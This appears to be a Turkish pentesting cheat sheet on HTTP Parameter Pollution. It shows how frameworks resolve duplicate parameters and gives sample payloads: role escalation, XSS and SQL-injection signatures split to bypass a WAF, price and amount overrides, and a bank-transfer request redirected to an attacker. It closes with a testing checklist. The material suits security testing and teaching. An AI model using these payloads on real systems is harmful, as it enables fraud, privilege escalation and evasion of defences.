Skip to content

HTTP Parameter Pollution (HPP)

OWASP A04 difficulty: kolay-orta

HTTP Parameter Pollution (HPP), aynı parametrenin bir istekte birden fazla kez gönderilmesidir. Farklı bileşenler (WAF, uygulama sunucusu, backend) tekrarlanan parametreleri farklı ele aldığında; doğrulama atlatma, mantık kırma ve WAF bypass mümkün olur.

param=a&param=b
PHP / Apache → sonuncu (b)
ASP.NET / IIS → birleşik (a,b) veya dizi
JSP / Tomcat → ilk (a)
Ruby on Rails → sonuncu
Node qs / Express→ dizi [a,b] (ayarlara bağlı)
Python Flask → ilk (request.args.get)
Go net/url → ilk (Get) veya çoklu ([]string)
Nginx/Lua → framework'e bağlı

Ön uç WAF ilk değeri, uygulama son değeri okuyorsa payload bölünebilir.

# Yetki / rol
?role=user&role=admin
# IDOR / filtre
?user_id=1&user_id=2
# WAF bypass — imzayı ikiye böl
?q=<svg&q=onload=alert(1)>
?q=union&q=select+1
?q=1+uni&q=on+select+1
# Fiyat / miktar ezme
?amount=100&amount=1
POST body amount=1 + query amount=100
# ASP birleşik → SQL
?uid=1&uid=2 → "1,2" IN clause / unexpected
  1. Aynı adı iki yerde gönder — query id=1 , body id=2 ; hangisi kazanıyor?

    POST /api/item?id=1 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    id=2&name=x
  2. Content-Type karıştır — form alanları + JSON parser önceliği; bazı framework’ler birleştirir.

  3. Dizi sözdizimleri :

    id[]=1&id[]=2
    id=1&id=2
    id[0]=1&id[1]=2
    {"id":["1","2"]}
    id=1,2
  4. WAF / middleware farkı — bloklanan tek parametreyi iki parçaya böl; backend birleştirince imza oluşur.

  5. HTTP parametre sırası — bazı WAF imza motorları yalnızca ilk değeri tarar.

POST /transfer?to=attacker HTTP/1.1
Host: bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=...
to=friend&amount=100&to=attacker
POST /checkout HTTP/1.1
Content-Type: application/x-www-form-urlencoded
price=1&price=999&item_id=5&item_id=5
?debug=false&debug=true
?admin=0&admin=1
?access_token=USER&access_token=ADMIN_LEAK
□ CDN/WAF ilk param'a göre cache key, origin son param'a göre içerik
□ → cache poisoning / HPP zinciri (bkz. web-cache-poisoning)
□ Load balancer X-Forwarded-* çoğaltma ile benzer "hangi değer?" sorunu
□ Ödeme, rol, indirim, user id, coupon
□ Hem query hem body kabul eden REST uçları
□ Proxy → app → legacy backend zinciri
□ "allow-list" ilk değerde, iş mantığı son değerde
□ Array'e cast edilen ID listeleri
□ E-posta / SMS gateway parametreleri (to=)
[ ] Her kritik param için duplicate (ilk/son/join)
[ ] Query vs body vs header aynı isim
[ ] [] / [0] / JSON array varyantları
[ ] WAF 403 olan payload'ı bölerek tekrar dene
[ ] Yanıtta hangi değerin kullanıldığını kanıtla
Kritik param bul (amount, role, id)
→ duplicate + query/body karışımı
→ hangi katman hangi değeri alıyor gözle
→ mantık/WAF bypass PoC